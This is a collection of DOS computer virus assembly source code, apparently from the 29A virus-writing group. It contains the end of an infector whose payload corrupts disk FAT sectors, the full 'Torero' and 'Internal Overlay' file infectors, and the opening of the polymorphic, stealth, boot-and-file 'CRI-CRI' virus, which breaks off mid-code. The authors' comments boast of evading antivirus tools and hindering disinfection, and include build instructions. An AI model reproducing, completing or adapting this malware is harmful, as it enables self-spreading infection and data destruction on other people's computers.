mov cs:jmp_offset,si
add si,offset _length+3
jc jmp_jmp_close
mov si,dx
mov di,offset bytes_com
mov cx,3
cld
rep movsb
jmp exe_com

exe_infect: mov cs:file_type,1


cmp cs:hdrsize,0
jne no_hdr_0

jmp_jmp_close: jmp jmp_close_file

no_hdr_0: mov ax,cs:exe_sp


mov cs:file_sp,ax
mov ax,cs:relo_ss
mov cs:file_ss,ax
mov ax,cs:exe_ip
mov cs:file_ip,ax
mov ax,cs:relo_cs
mov cs:file_cs,ax
sub cs:file_ss,ax
mov ax,cs:page_cnt
cmp cs:part_pag,0
je no_sub
dec ax

no_sub: mov cx,200h


mul cx
add ax,cs:part_pag
adc dx,0
cmp ax,si
jne jmp_jmp_close
cmp dx,di
jne jmp_jmp_close
push ax
push dx
add ax,offset _length
adc dx,0
mov cx,200h
div cx

or dx,dx
jz no_add
inc ax

no_add: mov cs:page_cnt,ax


mov cs:part_pag,dx
pop dx
pop ax
mov cx,10h
div cx
mov cs:exe_ip,dx
sub ax,cs:hdrsize
mov cs:relo_cs,ax
sub cs:file_cs,ax
mov cs:relo_ss,ax
mov cs:exe_sp,offset f_stack
call lseek_start
jc jmp_close_file

mov cx,1ch
mov dx,offset header
mov ah,40h
int 21h
jc jmp_close_file

exe_com: call lseek_end


jc jmp_close_file
push es
xor dx,dx
mov es,dx
mov ah,es:[046ch]
or ah,ah
jnz mask_no_0
mov ah,43h

mask_no_0: mov cs:_mask,ah


pop es
mov cx,offset end_decr
mov ah,40h
int 21h
jnc no_write_error

jmp_close_file: jmp close_file

no_write_error: mov ah,cs:_mask


mov si,offset end_decr
mov di,offset header
mov cx,offset _length-offset end_decr
cld

loop_encrypt: lodsb
xor al,ah
mov [di],al
inc di
loop loop_encrypt
mov cx,offset _length-offset end_decr
mov dx,offset header
mov ah,40h
int 21h

jc set_date
cmp cs:file_type,1
je set_date
call lseek_start
jc set_date
mov cx,3
mov dx,offset jmp_op
mov ah,40h
int 21h

set_date: call set_datetime

close_file: mov ah,3eh


pushf
call dword ptr cs:ofs_int21

set_attribs: mov dx,offset file_name


mov cx,cs:file_attribs
mov ax,4301h
int 21h

set_24: lds dx,dword ptr cs:ofs_int24


mov ax,2524h
int 21h

end_infect: pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov cs:handle,0ffffh
cmp ah,4bh
je jmp_jmp21_3
clc
jmp int_ret

jmp_jmp21_3: jmp jmp_21

int_24: xor al,al


iret

int_13: cmp ah,3


jne no_write
mov ah,4

no_write: jmp dword ptr cs:ofs_int13

get_datetime: push ax
push cx
push dx
mov ax,5700h
pushf
call dword ptr cs:ofs_int21
jc no_infect
mov cs:file_date,dx
mov cs:file_time,cx
and cx,1fh
cmp cx,1fh
je no_infect
or cs:file_time,1fh
jmp end_getdate

no_infect: stc

end_getdate: pop dx
pop cx
pop ax
ret

set_datetime: push ax
push cx
push dx
mov dx,cs:file_date
mov cx,cs:file_time
mov ax,5701h
pushf
call dword ptr cs:ofs_int21
pop dx
pop cx
pop ax
ret

valid_name: cmp cs:handle,0ffffh


je ready
stc
ret

ready: push ax
push si
push di
cmp ah,6ch
je si_ok
mov si,dx

si_ok: cld
mov di,offset file_name

next_letter: lodsb
cmp al,'a'
jb no_lowercase
cmp al,'z'
ja no_lowercase
sub al,20h

no_lowercase: mov cs:[di],al


inc di
or al,al
jnz next_letter
cmp cs:[di-3],'MO'
jne no_com_ext
cmp cs:[di-5],'C.'
je valid

no_com_ext: cmp byte ptr cs:[di-6],'N'


je no_valid
cmp cs:[di-3],'EX'
jne no_valid
cmp cs:[di-5],'E.'
je valid

no_valid: stc

valid: pop di
pop si
pop ax
ret

get_drive: mov di,dx


xor dl,dl
cmp byte ptr [di+1],':'
jne default_drive
mov dl,[di]
and dl,1fh

default_drive: ret

lseek_end: mov ax,4202h


xor cx,cx
mov dx,cx
int 21h
ret

lseek_start: mov ax,4200h


xor cx,cx
mov dx,cx
int 21h
ret

mark_bad: cmp cs:year,0cah


ja activation
ret

activation: push ax
push bx
push cx
push dx
push ds
push es
push di
cmp ah,6ch
jne no_extended
mov dx,si

no_extended: call get_drive


mov al,dl
dec al
cmp al,0ffh
jne with_drive
mov ah,19h
int 21h

with_drive: cmp al,1


ja no_act
mov byte ptr cs:file_attribs,al
push cs
pop ds
mov al,byte ptr cs:file_attribs
mov cx,1
xor dx,dx
mov bx,offset header
int 25h

add sp,2
jc no_act
mov al,byte ptr cs:file_attribs
mov dx,[bx+16h]
mov cs:file_time,dx
mov dx,[bx+0eh]
int 25h

add sp,2
jc no_act
mov cx,200h
add cx,bx
mov di,bx

next_cluster: mov ax,[di]


or al,[di+2]
add di,3
cmp di,cx
jae no_act
or ax,ax
jnz next_cluster

sub di,3
mov [di],7ff7h
mov byte ptr [di+2],0ffh
mov al,byte ptr cs:file_attribs
mov cx,1
int 26h

add sp,2
jc no_act
mov al,byte ptr cs:file_attribs
add dx,cs:file_time
int 26h

add sp,2

no_act: pop di
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
ret

bytes_com:
file_sp dw 020cdh
file_ss dw 0
file_type db 0
handle dw 0
jmp_op db 0e9h

_length:

jmp_offset dw 0
ofs_int21 dw 0
seg_int21 dw 0
ofs_int24 dw 0
seg_int24 dw 0
ofs_int13 dw 0
seg_int13 dw 0
year db 0
file_attribs dw 0
file_date dw 0
file_time dw 0
file_name db 65 dup (?)

header:
signature dw 0
part_pag dw 0
page_cnt dw 0
relo_cnt dw 0
hdrsize dw 0
minmem dw 0
maxmem dw 0
relo_ss dw 0
exe_sp dw 0
chksum dw 0
exe_ip dw 0
relo_cs dw 0
dw 0
dw 0
f_stack:

ts1423 ends
end start
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; Torero ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; by Mister Sandman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; Hoho... here you have a new coolio viral technique, especially dedicated
; to those who think that everything on viruses was invented yet :) This
; virus ain't a 'powerful' one; in fact, and as i decided to do in this
; first issue as i hadn't many time, it's a simple infector just written
; to show this new viral capability, never used before as far as i know.
;
; And what is this technique about?, you might ask. Ok... apart from DirII
; and all its family, we don't know many viruses that store the original
; header of infected files in other place than the viral code, right?
;
; AVV and i were making some researches and suddenly found ten free unused
; bytes on the directory entry of each file... and this the place where my
; virus stores the header of every file it infects :) In this way, the AV
; companies must write some specific routines for disinfecting Torero...
; this means that the cleaning of our virus is more difficult, which is
; what we're looking for :)
;
; Anyway, as every viral technique, it has some pros and some cons... and
; the cons consist on the next simple thingy: if someone copies, compress-
; es, or manipulates an infected file, it will have a different directory
; entry, and then it will be imposible to restore its original header.
;
; However, and as this is just a sample virus, i didn't pay much attention
; to this kinda probabilities, and i just used an idea Wintermute gave me:
; if the host doesn't find its original header, it will display a message
; i'm sure you all know: 'This program requires Microsoft Windows.' :)
;
; As a last (but not least) feature in this virus, don't forget to have a
; look at the infection mark, based on using the eigth attribute bit, al-
; ways empty and unused until now. This is a specially good infection mark
; for a virus, as it's very simple and doesn't get flagged because of in-
; correct time stamp and all that shit. Besides, it makes things easier
; for us when implementing stealth techniques, etc.
;
; About the name, i decided to call it 'Torero' because it's a spanish
; word which means 'bullfighter', often used for telling someone that he
; or what he did is cool, because toreros are supposed to have the biggest
; nuts around :)
;
; Compiling instructions
;
; tasm /m torero.asm
; tlink torero.obj
; exe2bin torero.exe torero.com

.286
torero segment byte public
assume cs:torero,ds:torero
org 0

torero_start label byte


torero_size equ torero_end-torero_start

torero_entry: call delta_offset ; Get ë-offset in BP


delta_offset: pop bp ; for l8r use
sub bp,offset delta_offset

mov ah,30h ; Get DOS version


int 21h

cmp bx,';)' ; Are we already


jne set_int_21h ; memory resident?

push cs ; Save CS for the host


mov bx,ds ; Don't lose DS
xor ax,ax ; Jump to the memory
mov ds,ax ; copy and restore
push word ptr ds:[21h*4+2] ; the host header
push offset check_host
mov ds,bx
retf

set_int_21h: mov ax,es


dec ax
mov ds,ax ; Program's MCB segment
xor di,di

cmp byte ptr ds:[di],'Y' ; Is it a Z block?


jna set_int_21h

sub word ptr ds:[di+3],((torero_size/10h)+2)


sub word ptr ds:[di+12h],((torero_size/10h)+2)
add ax,word ptr ds:[di+3]
inc ax

mov ds,ax
mov byte ptr ds:[di],'Z' ; Mark block as Z
mov word ptr ds:[di+1],8 ; System memory
mov word ptr ds:[di+3],((torero_size/10h)+1)
mov word ptr ds:[di+8],4f44h ; Mark block as owned
mov word ptr ds:[di+0ah],0053h ; by DOS (444f53h,0)
inc ax

cld
push cs
pop ds
mov es,ax
mov cx,torero_size ; Copy virus to memory
mov si,bp
rep movsb

push es
push offset copy_vector ; Jump to the virus
retf ; copy in memory

copy_vector: push ds
mov ds,cx
mov es,ax ; Save int 21h's
mov si,21h*4 ; original vector
lea di,old_int_21h
movsw
movsw

mov word ptr [si-4],offset new_int_21h


mov word ptr [si-2],ax ; Set ours

mov si,13h*4 ; Save int 13h's


lea di,old_int_13h ; original vector
movsw
movsw

mov word ptr [si-4],offset new_int_13h


mov word ptr [si-2],ax ; Set ours

mov ds,ax
check_host: call open_host ; Open the host
call get_sft ; Get its SFT for our
call check_mark ; infection mark
jb messed_up ; File is messed up :-(

call read_entry ; Read the entry


call point_entry ; Point to the header
cmp word ptr ds:[si],0 ; Is it empty?
jne restore_header

cmp word ptr ds:[si+2],0 ; Empty too? huh :-(


je messed_up ; File is messed up

restore_header: pop es ; ES=host segment


push es ; Store it in the stack
mov di,100h ; file header from the
push di ; Store the IP
movsw ; DS:SI points to the
movsb ; original header, in
; the directory entry
push es
pop ds ; DS=ES
retf ; Jump to the host

messed_up: mov ah,3eh ; File is messed up...


int 21h ; close it and show
call emergency ; the Windows message :)

; **´ Torero's int 13h handler Ã********************************************

new_int_13h: cmp ah,3


je sector_write ; Sector write?

db 0eah ; Jump back to the


old_int_13h dw ?,? ; original int 13h

sector_write: push ax bx cx
pushf

xor ah,ah ; Calculate how many


mov cl,4 ; files we must test
shl ax,cl ; by multiplying the
mov cx,ax ; sector number with
or cx,cx ; 10h (entries)
je bucle_end

int_13h_bucle: cmp byte ptr es:[bx+9],'O' ; -O-?


jne more_files

mov al,byte ptr es:[bx+9]


sub al,2
cmp al,byte ptr es:[bx+0ah] ; -OM?
jne more_files
cmp al,'M' ; Then it's a COM
je subtract
more_files: add bx,20h ; Look for more files
loop int_13h_bucle ; Look'n'loop :)

bucle_end: popf
pop cx bx ax ; End of the bucle
; Call the original
call int_13h ; int 13h and jump
xor_and_jump: xor ax,ax ; to the original int

return_to_int: push bp ax
pushf

pop ax ; Return to the


mov bp,sp ; original int 13h
mov word ptr ss:[bp+8],ax

pop ax bp
retf 2

subtract: cmp byte ptr es:[bx],0e5h ; A deleted file...


je more_files ; bah, skip it

cmp byte ptr es:[bx+0bh],80h ; Infected?


jb more_files

cmp word ptr es:[bx+0ch],0 ; Is the header field


jne more_files ; empty?

cmp word ptr es:[bx+0eh],0


jne more_files

mov ax,word ptr cs:[header_store] ; Ok, let's copy


mov word ptr es:[bx+0ch],ax ; the original file
; header to the
mov ax,word ptr cs:[header_store+2] ; directory entry
mov word ptr es:[bx+0eh],ax
jmp more_files

; **´ Torero's signature Ã**************************************************

signature db 0dh,0ah,'[Torero €:-) by Mister Sandman/29A]',0dh,0ah

; **´ Torero's int 21h handler Ã********************************************

new_int_21h: cli
cmp ah,6ch ; This code is stolen
ja real_checks ; from the original
; DOS kernel handler,
cmp ah,33h ; so they won't catch
jb real_checks ; us if they don't go
jz fake_stuff ; further thru the
; rest of the code of
cmp ah,64h ; the handler... thanx
ja fake_stuff ; to Qark for this
jz real_checks ; cool idea :)

cmp ah,51h
jz real_checks

cmp ah,62h
jz fake_stuff

cmp ah,50h
jz real_checks

fake_stuff: push ax bx cx ; Shit, shit, shit,


nop ; shit... skip it
pop cx bx ax

real_checks: cmp ah,30h


jne opening ; (get DOS version)?

mov bx,';)' ; Return the smiley :)


iret

opening: cmp ah,3dh ; File opening?


je file_open

cmp ax,4301h ; Attribute change?


je new_attribute

cmp ax,6c00h ; Extended open?


je file_open

jmp_int_21h db 0eah ; Jump to the original


old_int_21h dw ?,? ; int 21h address

; **´ File open Ã***********************************************************

file_open: call infect_file ; Infection routine


jmp dword ptr cs:[old_int_21h] ; Jump back to int 21h

; **´ New attribute Ã*******************************************************

new_attribute: mov ah,30h ; Change 43h for 30h


iret ; so it will do nothing

; **´ Infection routine Ã***************************************************

infect_file: pushf
push ax bx cx dx ; Push registers, flags
push si di ds es ; and all that shit

call set_int_24h ; Set int 24h

cmp ah,6ch ; Extended open?


jne normal_open

mov dx,si ; Fix it to DS:DX


normal_open: mov ax,3d00h ; Open the file
call int_21h
xchg bx,ax ; File handle in BX

push cs ; CS=DS
pop ds

call get_sft ; Get file's SFT


call check_mark ; Already infected?
jae close_and_pop

mov byte ptr es:[di+2],2 ; Open mode=r/w


mov ax,word ptr es:[di+28h] ; Check the extension
cmp ax,'OC' ; of our victim
jne close_and_pop

mov byte ptr cs:[infecting],1


mov ah,3fh ; Read the first three
mov cx,3 ; bytes to our temporal
lea dx,header_store ; header store
call int_21h

mov ax,word ptr es:[di+11h] ; File lenght in AX


cmp ax,0ea60h ; Too big file?
ja close_and_pop

push ax ; Lseek to the end of


call lseek_end ; the file

mov ah,40h ; Append our k-r4d


mov cx,torero_size ; code :)
lea dx,torero_start
call int_21h

pop ax ; Make the jmp to


sub ax,3 ; our virus body
mov word ptr cs:[com_header+1],ax ; for the new file
call set_marker

call lseek_start ; Lseek to the start

mov ah,40h ; Write the new header


mov cx,3 ; in so we'll be always
lea dx,com_header ; executed first ;P
call int_21h

mov ax,word ptr es:[di+11h] ; Actual size in AX


sub ax,3 ; Lseek to the position
call lseek_end ; of the original header

mov ah,40h ; Destroy all the info,


mov cx,3 ; already stored in the
lea dx,garbage ; directory entry };)
call int_21h

close_and_pop: mov ah,3eh ; Close the file


call int_21h

call reset_int_24h ; Reset int 24h

pop es ds di si ; And pop out all the


pop dx cx bx ax ; shit we pushed b4
popf
ret

; **´ Call to the original int 13h Ã****************************************

int_13h: pushf
call dword ptr cs:[old_int_13h] ; Call the original
ret ; int 13h

; **´ Call to the original int 21h Ã****************************************

int_21h: pushf
call dword ptr cs:[old_int_21h] ; Call the original
ret ; int 21h

; **´ Get SFT in ES:DI Ã****************************************************

get_sft: push ax bx
mov ax,1220h ; Get job file table
int 2fh ; in ES:DI (DOS 3+)
jc bad_sft

xor bx,bx ; Get the address of


mov ax,1216h ; the specific SFT for
mov bl,byte ptr es:[di] ; our handle
int 2fh

bad_sft: pop bx ax ; Pop registers and


ret ; return to the code

; **´ Check our infection mark Ã********************************************

check_mark: cmp byte ptr es:[di+4],80h ; Compare with the min.


ret ; value of our mark

; **´ Read the directory entry Ã********************************************

read_entry: push ax bx cx
call parameters ; Load the sector
int 25h

pop cx cx bx ax
ret

; **´ Sector loading Ã******************************************************

parameters: mov ax,word ptr es:[di+1bh] ; Load the sector


mov word ptr cs:[control_block],ax ; number in our
mov ax,word ptr es:[di+1dh] ; control block
mov word ptr cs:[control_block+2],ax ; Read a long
mov cx,0ffffh ; sector, 4 bytes

push cs ; CS=DS
pop ds

mov word ptr cs:[control_block+4],1 ; One sector


mov word ptr cs:[control_block+6],offset sector
mov word ptr cs:[control_block+8],cs
lea bx,control_block ; Control block

push ds si
lds si,dword ptr es:[di+7] ; Point to the
lodsb ; DPB
pop si ds
ret

; **´ Point to the original header Ã****************************************

point_entry: mov al,byte ptr es:[di+1fh] ; Guess the entry


xor ah,ah

push cx
mov cl,5 ; Multiply it*20h
shl ax,cl
pop cx

lea si,sector ; Calculate its offset


add si,ax ; into the sector and
add si,0ch ; move to si+0ch (header)
ret
; **´ Set int 24h Ã*********************************************************

set_int_24h: push ax si di
push ds es

xor ax,ax ; Point to the IVT


mov ds,ax

push cs ; CS=ES
pop es

mov si,24h*4 ; Save the original int


mov di,offset old_int_24h ; 24h address and set
cld ; ours l8r
movsw
movsw

mov word ptr [si-4],offset new_int_24h


mov word ptr [si-2],cs

pop es ds
pop di si ax
ret

; **´ Restore int 24h Ã*****************************************************

reset_int_24h: push ax si di
push ds es

xor ax,ax ; Point to the IVT


mov es,ax

push cs ; CS=DS
pop ds

mov si,offset old_int_24h ; Restore the original


mov di,24h*4 ; int 24h address
cld
movsw
movsw

pop es ds
pop di si ax
ret

; **´ Torero's int 24h handler Ã********************************************

new_int_24h: mov al,3 ; Pass the error code


iret

old_int_24h: dw ?,? ; Original int 24h

; **´ Set our infection mark Ã**********************************************

set_marker: mov byte ptr es:[di+4],80h ; Attribute bit 8


ret

; **´ Lseek to the start of the file Ã**************************************

lseek_start: mov word ptr es:[di+15h],0 ; Read pointer=0


ret

; **´ Lseek to the end of the file Ã****************************************


lseek_end: mov word ptr es:[di+15h],ax ; Read pointer=file
ret ; length (EOF)

; **´ Open the host we're being executed from Ã*****************************

open_host: mov ah,62h ; Get PSP address


int 21h

push es
mov ds,bx
mov bx,word ptr ds:[2ch] ; DS:2ch=PSP segment
mov es,bx
xor di,di

mov al,1 ; Look for 01h (the


mov cx,0ffffh ; mark which sepparates
repnz scasb ; the path from the
jnz emergency ; name of the file that
; is being executed)
xor al,al
scasb

push es
pop ds es

mov ah,3dh ; Open the host


mov dx,di
call int_21h
xchg bx,ax ; Pass handle to BX
ret ; and return

; **´ Emergency routine... data lost! Ã*************************************

emergency: push cs ; CS=DS


pop ds

mov ah,9 ; Show the message...


lea dx,windows ; This programs requires
int 21h ; Microsoft Windows

mov ax,4c01h ; Errorlevel=01 :)


int 21h

; **´ Data area Ã***********************************************************

sector db 200h dup (?) ; The long sector

control_block dd ? ; Control block


dw ?
garbage dd ?
db ';)'

windows db 'This program requires Microsoft Windows.'


db 0dh,0ah,'$'

action db ? ; Reading or writing?


infecting db ?

com_header db 0e9h,?,? ; The COM header


header_store db 3 dup (?) ; Temporal header store

torero_end label byte


torero ends
end torero_start
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; Internal Overlay ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; by Tcp/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; Here you have a virus i wrote some time ago... an old but still pretty
; interesting virus (anyway, ain't so old... one year or less :) Its pe-
; culiarity consists in that it infects COM and EXE files without modi-
; fying their headers! ;) In this way, it doesn't get detected under a
; very large number of CRC checkers which just compare the first bytes
; and the length of the files whose info it stores.
;
; Internal Overlay (IntOv for friends :) does this by inserting an over-
; lay loader at the entry point of the files it infects, and the corres-
; ponding overlay -the virus- at the end of the file, appended to the
; infected file in the traditional way :)
;
; It infects, as i told before, COM and EXE files on execution (4b00h)
; and opening (3dh), and it doesn't infect COMMAND.COM or EXEs with re-
; location items in the entry point, unless this item is located in off-
; set 7 (PkLited files have an item there) ;)
;
; Compiling instructions:
;
; tasm /m intov.asm
; tlink intov.obj
; exe2bin intov.exe intov.com

assume cs:code,ds:code,ss:code,es:code
org 0
code segment

_BYTES = ((end_vir-start)+(ov_part-start)+15)
_PARAG = _BYTES/16

start:

delta_ofs equ word ptr $+1


mov si,100h ; Delta offset (precalc)
; In dropper, 100h
id_mark equ word ptr $+1
mov cx,'<>' ; Length to search for, it will be the
; id mark: '<>'... why not? :)
reloc_pkl equ word ptr $+1
mov bp,0000 ; For PkLite's relocation
mov es,ds:[2ch] ; es-> environment
xor ax,ax
xor di,di
repnz scasw ; Search for two consecutive zeros
; Searching file name
inc di
inc di ; es:di -> file name
push cs
push ds
push es
push di
push ds

mov ax,ds
dec ax
mov es,ax ; MCB access
; ES-> MCB
mov bx,es:[0003]
sub bx,_PARAG+1
pop es
mov ah,4ah
int 21h ; Free memory. If resident, doesn't return!
mov ah,48h
mov bx,_PARAG
int 21h ; Want some memory
mov es,ax
push cs
pop ds

mov cx,offset(ov_part)
push si
xor di,di
rep movsb ; Move it to reserved area
pop si
mov ax,offset(new_mcb)
push es
push ax
retf ; Jump to reserved area

new_mcb:
push ds
pop es ; es:= old cs
pop dx
pop ds
mov ax,3d00h
int 21h ; Open the file
xchg bx,ax ; bx:=handle
push cs
pop ds
long_high equ word ptr $+1
mov cx,0000
long_low equ word ptr $+1
mov dx,offset(ov_part) ; For the dropper
mov ax,4200h
int 21h ; Get set in file
; Point to 'overlay'
mov cx,offset(end_vir)
mov ah,3fh
mov dx,offset(ov_part)
int 21h ; Read the 'overlay'
mov ah,3eh ; We're up to here in the Entry Point

;Ú**********************************************************************¿
;³ Now, the virus overlay part ³
;À**********************************************************************Ù

ov_part:
int 21h ; Close file
push si
push si
pop di
mov si,offset(original)
mov cx,offset(ov_part)
rep movsb ; Restore original code in memory
pop si
push cs
pop ax
dec ax
mov es,ax ; es-> MCB
mov word ptr es:[0001],8 ; O.S. block
mov ax,3521h ; Get and change int 21h
int 21h
mov ofs_int21,bx
mov seg_int21,es
mov ah,25h
mov dx,offset(int_21)
int 21h
exec_host:
pop ds ; PSP
push si
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor bp,bp
xor si,si
xor di,di
push ds
pop es
retf ; jump to host

c_com db 'COM'
db 'EXE'
db 'exe'
db 'com'

c_21:
pushf
call dword ptr cs:[ofs_int21]
ret

int_24: mov al,3


iret

db '[Internal Overlay, Tcp / 29A]'

int_21:
cmp ah,4ah ; Can be our call
jne f_func
push ax
push di
mov ax,'<>'
sub ax,cx
shr di,1
sub ax,di
inc ax ; If 0 -> our call
pop di
pop ax
jnz f_func
pop cx ; We're not interested in offset
pop di ; Interested in code segment
pop cx ; We're not interested in flags
pop dx
pop ds ; ds:dx -> file name
mov ax,3d00h
call c_21 ; Open file
xchg ax,bx ; bx:=handle
mov ds,di
mov cx,[si+long_high] ; Restore data
mov dx,[si+long_low]
add dx,offset(original)-offset(ov_part)
adc cx,0
mov ax,4200h
int 21h ; Postion on overlay's portion that
; keeps original code
mov dx,si
mov ah,3fh
mov cx,offset(ov_part)
int 21h ; We read
mov ah,3eh
int 21h ; We close the file
add [si+1],bp ; Reallocate Pklite's item (add 0 otherwise)
jmp exec_host

f_func:
push bx
push cx
push dx
push bp
push ds
push es
push si
push di
push ax
mov di,dx
mov al,0
mov cx,666h ;-)
repnz scasb
sub di,4 ; filename.ext
; ^
pop ax
push ax
cmp ax,4b00h ; file execution?
je is_exec
cmp ah,3dh ; open-file?
je check_ext
end_21:
pop ax
pop di
pop si
pop es
pop ds
pop bp
pop dx
pop cx
pop bx
db 0eah ; jmp far
ofs_int21 dw ?
seg_int21 dw ?

check_ext:
push ds
push cs
pop ds
mov si,offset(c_com)
mov cx,4
loop_ext: push si ; check valid extensions
push di
cmpsw
jne next_ext
cmpsb
next_ext: pop di
pop si
je ext_ok
add si,3
loop loop_ext
pop ds
or cx,cx
jz end_21
ext_ok: pop ds
is_exec:
cmp byte ptr ds:[di-2],'D' ; Don't infect command.com
jz end_21
cmp byte ptr ds:[di-2],'d'
jz end_21
mov ax,3524h ; Read and prepare int 24h
int 21h
push es
push bx
mov ah,25h
push ax ; 2524h
push ds
push dx
push cs
pop ds
mov dx,offset(int_24)
int 21h
pop dx
pop ds
mov ax,4300h
int 21h ; Get attribs
push cx
push ds
push dx
xor cx,cx
mov ax,4301h ; Reset all attribs
int 21h
jb rest_atribs
mov ax,3d02h
call c_21 ; Open the file I/O
push cs
pop ds
xchg ax,bx ; bx:=handle
mov ax,5700h
int 21h ; Get time/date
push dx
push cx
mov ah,3fh
mov dx,offset(header)
mov cx,1Ch
int 21h ; Read file header
mov ax,val_ip
mov delta_ofs,ax
xchg bp,ax ; bp:=val_ip
cmp signature,'ZM' ; EXE?
je exe
; Assume it's a com
cmp byte ptr signature,0e9h ; jmp?
jne rest_hour
mov ax,word ptr signature+1 ; Offset jmp
add ax,3 ; Calculate file's offset
mov delta_ofs,ax
add delta_ofs,100h
xor dx,dx
xor cx,cx
jz exe&com
rest_hour: mov ax,5701h ; Restore date/time
pop cx
pop dx
int 21h
mov ah,3eh ; We close
int 21h
rest_atribs: mov ax,4301h ; Restore attribs
pop dx
pop ds ; ds:dx -> file name
pop cx
int 21h
pop ax ; ax:=2524h
pop dx
pop ds
int 21h
jmp end_21

exe:
mov ax,header_size
mov cx,16
mul cx ; ax:=header length
push ax
mov ax,val_cs
imul cx
add ax,bp ; bp:=val_ip
adc dx,0 ; dx:ax := cs:ip inside load module
mov cx,relo_items ; Number of reallocation items
jcxz items_ok
push cx
push ax
push dx
xor cx,cx ; Get on reallocation table
mov dx,ofs_reloc
mov ax,4200h
int 21h
pop dx
pop ax
read_items:
push ax
push dx
mov ah,3fh
mov dx,offset(original)
mov cx,20*4 ; Read 20 reallocaci¢n items
int 21h
mov si,dx
mov di,-20*4
pop dx
pop ax
process_item: pop cx
push bx
mov bx,[si]
cmpsw ; inc si, inc si, inc di, inc di
mov bp,[si]
cmpsw ; inc si, inc si, inc di, inc di

sub bx,ax
sbb bp,dx
jnz next_item
cmp bx,offset(ov_part) ; Is it part of code?
jnbe next_item
cmp bx,7 ; PkLite's code?
pop bx
jnz bad_item
push bx
next_item: dec cx
pop bx
jcxz items_ok
or di,di ; We need read more items?
push cx
jnz process_item
jz read_items
items_ok:
pop cx ; cx:= header length
exe&com: add ax,cx
adc dx,0 ; dx:ax := cs:ip offset in file
push ax
push dx
mov cx,dx
xchg ax,dx ; = mov dx,ax
mov ax,4200h
int 21h ; get on the entry point
mov ah,3fh
mov cx,offset(ov_part)
mov dx,offset(original)
int 21h ; Read original code
sub ax,cx ; Have enough space?
jc no_inf
cmp pages,'<>' ; Id mark is in offset 4
stc
je no_inf
mov ax,4202h ; Go to he end of file
xor cx,cx
cwd
int 21h
mov long_high,dx ; Save file-offset of code
mov long_low,ax
mov ah,40h ; 'Stick' to the file
mov cx,offset(end_vir)
mov dx,offset(ov_part)
int 21h
no_inf: pop cx
pop dx
jc alr_inf
mov reloc_pkl,0
mov ax,4200h
int 21h ; Return to cs:ip
mov ah,40h
mov cx,offset(ov_part)
cwd
int 21h ; Write new code on entry-point
push cx
bad_item: pop cx
alr_inf: jmp rest_hour

end_vir:

original:
header:
signature dw 20cdh
image_size dw ?
pages dw ?
relo_items dw ?
header_size dw ?
mim_mem dw ?
max_mem dw ?
stack_seg dw ?
stack_ofs dw ?
checksum dw ?
val_ip dw ?
val_cs dw ?
ofs_reloc dw ?
overlays dw ?

code ends
end start
;----------------------------------------------------------------------------
;CRI-CRI ViRuS (CoDe by Griyo/29A)
;----------------------------------------------------------------------------

;ResiDenT:

;WheN an inFecTed FiLe is Run thE viRus becaMes ResidEnt inTo a UMB
;memoRy bloCk (if aVaLiabLe) or in conVenTionaL memOry. Then iT
;hOOks int13h and int21h.

;InfEcTion (MulTiPartite):

;CriCri wRitEs itSeLf to The End of .Com and .Exe fiLes that aRe eXecUtEd
;or cLosEd aNd to The BooT SectOr of fLoppY diSks tHat are accEsed. During
;fiLe iNfeCtion the viRus UseS LoW LeveL SysTem fiLe tabLe and HookS
;int03h and int24h.
;CriCri doEs not inFect the fiLes thAt havE diGit or V chaRactErs in
;thEir namEs As weLL as FiLes with toDays DatE and SomE antiVirUs
;eXecuTablEs. InfEcted fiLes Have 62 seCondS in tHeir tiMe sTamp.

;SteALth (fiLe and booT LeveL):

;CriCri reTurNs cLean CopiEs oF inFected fiLes tHat are acceSed and hide
;theiR tRue siZe. The viRus alSo reTurns the OriGinaL boot sEctoR of
;fLoppy disKs tHat aRe read. The viRus disabLes his sTeaLth mechaNism
;when some comPressiOn uttiLities are beinG eXecuted.

;PoLymorPhic:

;The viRus is polymorPHic in fiLes and bOOt secToRs. GenerAted PolymorPHic


;deCrypToR conTains conDitiOnaL and AbsoluTe jumPs as WeLL as subRoutiNes
;and inteRRupt caLLs.

;----------------------------------------------------------------------------
com segment para 'CODE'
assume cs:com,ds:com,es:com,ss:com
;----------------------------------------------------------------------------
;Virus size in bytes
lenvir equ virus_copy-virus_entry
;Virus size in para
para_size equ ((lenvir*02h)+0Fh)/10h
;Virus size in sectors
sector_size equ ((lenvir+1FFh)/200h)
;Decryptor size in bytes
decryptor equ (virus_body-virus_entry)
;Boot code size in bytes
boot_size equ (boot_end-boot_code)
;----------------------------------------------------------------------------
;Create .COM launcher: TASM cricri.asm TLINK /t cricri.obj
org 100h
;----------------------------------------------------------------------------
;Virus entry point
;----------------------------------------------------------------------------
virus_entry:
;Store bp for launcher
sub bp,bp
;Buffer were virus build polymorphic decryptor
db 0280h dup (90h)
virus_body:
;Save segment registers
push ds
push es
;Check if running from boot or file
mov al,byte ptr cs:[prog_type][bp]
cmp al,"B"
je in_boot_sector
jmp go_ahead
;----------------------------------------------------------------------------
;Virus working from boot sector
;----------------------------------------------------------------------------
in_boot_sector:
;Reset DOS loaded flag
mov byte ptr cs:[dos_flag][bp],00h
;Clear dos running switch
mov byte ptr cs:[running_sw],"R"
;Get int 13h vector
mov al,13h
call get_int
;Save old int 13h
mov word ptr cs:[old13h_off][bp],bx
mov word ptr cs:[old13h_seg][bp],es
;Calculate our segment position
mov ax,cs
sub ax,10h
mov ds,ax
;Hook int 13h
mov al,13h
mov dx,offset my_int13h
